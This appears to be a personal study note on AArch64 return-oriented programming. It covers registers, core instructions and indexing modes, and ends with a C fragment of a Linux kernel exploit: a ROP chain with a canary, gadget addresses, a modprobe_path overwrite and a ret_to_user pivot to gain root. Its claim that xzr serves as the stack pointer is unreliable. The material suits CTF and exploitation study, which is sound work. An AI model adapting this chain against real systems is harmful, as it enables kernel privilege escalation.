Aarch ROP
- Refer directly from : https://blog.perfect.blue/ROPing-on-Aarch64
- Worked Example: https://writeups.fr/posts/Safe-Device/
Registers
Aarch64 has 31 general purpose registers, x0 to x30. Since it’s a 64 bit architechture, all the registers are 64 bit. But we can access the lower 32 bits of thes registers by using them with the w prefix, such as w0 and w1.
There is also a 32nd register, known as xzr or the zero register. It has multiple uses which I won’t go into but in certain contexts, it is used as the stack pointer (esp equivalent) and is thereforce aliased as sp.
Instructions
Here are some basic instructions:
-
mov- Just like it’s x86 counterpart, copies one register into another. It can also be used to load immediate values.mov x0, x1; copies x1 into x0 mov x1, 0x4141; loads the value 0x4141 in x1 -
str/ldr- store and load register. Basically stores and loads a register from the given pointer.str x0, [x29]; store x0 at the address in x29 ldr x0, [x29]; load the value from the address in x29 into x0-
stp/ldp- store and load a pair of registers. Same asstr/ldrbut instead with a pair of registersstp x29, x30, [sp]; store x29 at sp and x30 at sp+8
-
-
bl/blr- Branch link (to register). The x86 equivalent iscall. Basically jumps to a subroutine and stores the return address in x30.blr x0; calls the subroutine at the address stored in x0 -
b/br- Branch (to register). The x86 equivalent isjmp. Basically jumps to the specified addressbr x0; jump to the address stored in x0 -
ret- Unlike it’s x86 equivalent which pops the return address from stack, it looks for the return address in the x30 register and jumps there.
Indexing modes
Unlike x86, load/store instructions in Aarch64 has three different indexing “modes” to index offsets:
-
Immediate offset :
[base, #offset]- Index an offset directly and don’t mess with anything elseldr x0, [sp, 0x10]; load x0 from sp+0x10 -
Pre-indexed :
[base, #offset]!- Almost the same as above, except that base+offset is written back into base.ldr x0, [sp, 0x10]!; load x0 from sp+0x10 and then increase sp by 0x10 -
Post-indexed :
[base], #offset- Use the base directly and then write base+offset back into the baseldr x0, [sp], 0x10; load x0 from sp and then increase sp by 0x10
Example
// After commit_creds or modprobe overwrite, you need to switch to userspace
// Call ret_to_user in the end
// It expects the stack should point to pt_regs struct
// Craft a struct manually before calling the function
// ret_to_user safely returns to userspace, by setting system registers correctly
uint64_t user_sp;
// padding
memset(buf,0x61,64);
buf[8] = canary;
buf[9] = 0xdeadbeef;
//ropchain starts here
// buf[10] = b""
// ldp x20, x19,[sp, #0x10]; mov x0, x8; ldp x29, x30, [sp], #0x20; autiasp; ret
buf[11-1] = 0xffff8000800cc588;
buf[12-1] = 0x0 ;
// str w20, [x19,#0x6c]; ldp x20, x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; autiasp ; ret
buf[13-1] = 0xffff8000804f3c88; // (modprobe - offset)
buf[14-1] = 0x682f706d74 ;
buf[15-1] = 0xffff000000f1395d;
// All good up till here, now we need to switch from kernel space to user space
buf[15] = 0x0;
buf[16] = ret_to_user;
//sp add up +0x20
// this sp should contain the pt_reg struct, lets craft it manually
// from here sp + 0x100 = pc
buf[19+32] = (uint64_t)root;
// sp + 0xf8 = userspace sp
asm volatile("mov %0, sp" : "=r"(user_sp));
buf[19+31] = user_sp;
// sp + 0x108 = state, null it
buf[19+33] = 0;